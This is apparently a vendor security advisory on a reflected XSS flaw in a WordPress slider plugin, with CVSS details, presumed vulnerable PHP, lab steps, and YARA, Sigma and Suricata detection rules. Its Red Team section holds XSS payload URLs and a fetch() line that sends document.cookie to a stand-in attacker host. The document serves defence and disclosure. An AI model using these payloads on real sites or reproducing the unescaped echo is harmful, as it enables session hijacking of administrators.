CVE-2025-49043

Executive Summary

CVE-2025-49043 is a reflected Cross-Site Scripting (XSS) vulnerability in the Magic Responsive Slider and Carousel WordPress plugin (version <= 1.6) developed by LambertGroup. The flaw exists in the magic_carousel parameter, where user-supplied input is not properly neutralized before being reflected back to the user. This allows an attacker to craft a malicious URL that, when visited by an authenticated WordPress administrator, can execute arbitrary JavaScript in the context of the admin's session. The CVSS score is 7.1 (High), and no patch is currently available. This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability is a WordPress plugin issue. The plugin is distributed via the official WordPress plugin repository and potentially third-party marketplaces. Since no patch exists, users must consider the plugin as a supply chain risk. The lack of a patch means that any site using this plugin is vulnerable until the vendor releases an update or the plugin is removed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a crafted link.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: High. The vulnerability is easy to exploit and requires only user interaction. An attacker can steal session cookies, perform actions on behalf of the admin, or deface the site.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the magic_carousel parameter of the Magic Responsive Slider and Carousel plugin. When a user visits a URL like:

https://example.com/?magic_carousel=<script>alert('XSS')</script>

The plugin reflects the value of the magic_carousel parameter directly into the HTML response without proper sanitization or encoding. This allows an attacker to inject arbitrary JavaScript.

Root Cause: The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), esc_attr()) when outputting the magic_carousel parameter. Instead, it likely uses echo $_GET['magic_carousel']; or similar unsafe code.

Attack Flow:

1. Attacker crafts a malicious URL containing JavaScript payload in the magic_carousel parameter.
2. Attacker sends the URL to a logged-in WordPress admin via email, social media, or other means.
3. Admin clicks the link while authenticated.
4. The plugin reflects the payload without sanitization.
5. The browser executes the JavaScript in the context of the admin's session.
6. Attacker can steal cookies, perform admin actions, or inject malicious content.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

Vulnerable Code (PHP):

<?php
// In the plugin's shortcode or template file
$carousel = $_GET['magic_carousel'];
echo '<div class="magic-carousel">' . $carousel . '</div>';
?>

Patched Code (Hypothetical):

<?php
// Properly escape output
$carousel = isset($_GET['magic_carousel']) ? esc_html($_GET['magic_carousel']) : '';
echo '<div class="magic-carousel">' . $carousel . '</div>';
?>

The patched version uses esc_html() to encode HTML special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the Magic Responsive Slider and Carousel plugin (version 1.6).
2. Log in as an administrator.
3. Craft a malicious URL:

   http://localhost/wordpress/?magic_carousel=<script>alert(document.cookie)</script>
   

4. Send the URL to the admin (simulate phishing).
5. When the admin clicks, the JavaScript executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

URL Encoding:

http://localhost/wordpress/?magic_carousel=%3Cscript%3Ealert(1)%3C/script%3E

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing magic_carousel= followed by <script> or other HTML tags.
• Use WAF rules to block requests with suspicious magic_carousel parameters.
• Implement Content Security Policy (CSP) headers to mitigate XSS.

Mitigation:

• Remove or disable the plugin until a patch is available.
• Use a Web Application Firewall (WAF) to filter malicious input.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: ?magic_carousel=<script>...
• HTTP Request: GET request with magic_carousel parameter containing HTML/JavaScript.
• Log Entry: GET /wordpress/?magic_carousel=%3Cscript%3E...
• Network Traffic: Outbound connection to attacker-controlled domain (if payload exfiltrates data).
• File Changes: Unauthorized modifications to WordPress pages/posts (if admin session is hijacked).

Detection Engineering

YARA Rule

rule CVE_2025_49043_Magic_Carousel_XSS {
    meta:
        description = "Detects reflected XSS attempts against Magic Responsive Slider and Carousel plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49043"
    strings:
        $magic_param = "magic_carousel="
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $html_tag = /<[^>]+>/
    condition:
        $magic_param and ($xss_payload or $html_tag)
}

Sigma Rule

title: Reflected XSS in Magic Responsive Slider and Carousel
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against the magic_carousel parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'magic_carousel='
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49043 Reflected XSS in Magic Responsive Slider and Carousel"; flow:to_server,established; content:"magic_carousel="; http_uri; pcre:"/(<script|<img|<svg|onerror|onload)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block requests containing magic_carousel= with HTML/JavaScript.
3. Add CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self';
   

Long-term Fix:

• Monitor the vendor's website for a patched version.
• Replace the plugin with an alternative that is actively maintained.
• Conduct a security audit of all WordPress plugins.

Workaround:

• If the plugin must be used, manually edit the plugin file to add esc_html() around the magic_carousel output.

Valters IT
Securing Digital Frontiers